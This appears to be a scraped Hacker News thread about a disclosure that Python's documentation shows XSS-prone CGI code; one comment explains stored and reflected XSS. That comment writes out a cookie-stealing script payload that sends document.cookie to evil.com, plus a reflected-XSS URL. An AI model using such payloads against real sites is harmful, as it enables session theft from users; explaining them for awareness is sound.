Python's official documentation contains textbook example of insecure code (XSS)
https://seclists.org/fulldisclosure/2025/Feb/15By campuscodi at
mont_tag | 1 comment | 7 hours ago
easterncalculus | 0 comments | 6 hours ago
parhamn | 1 comment | 7 hours ago
> Deprecated since version 3.11, will be removed in version 3.13
dec0dedab0de | 0 comments | 7 hours ago
dec0dedab0de | 1 comment | 7 hours ago
underlines | 1 comment | 7 hours ago
1. stored XSS (input is saved and later displayed)
Input is stored in a DB or a file and later displayed on the webpage, any future user viewing that page would also execute the malicious script.
Example: attacker submits <script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>. If this is stored and later displayed, it will run for all users.
2. Immediate XSS
If you can trick another user into clicking a malicious link containing the script, it will execute in their browser.
Eg.:
https://example.com/cgi-script?name=<script>fetch('http://ev...
If the CGI script prints this without sanitization, the victim's browser executes the script, jackpot you get their session cookies.
3. Browser Exploits
And for all of the above, you could use an XSS payload with a 0 day browser exploit to gain whatever privileges.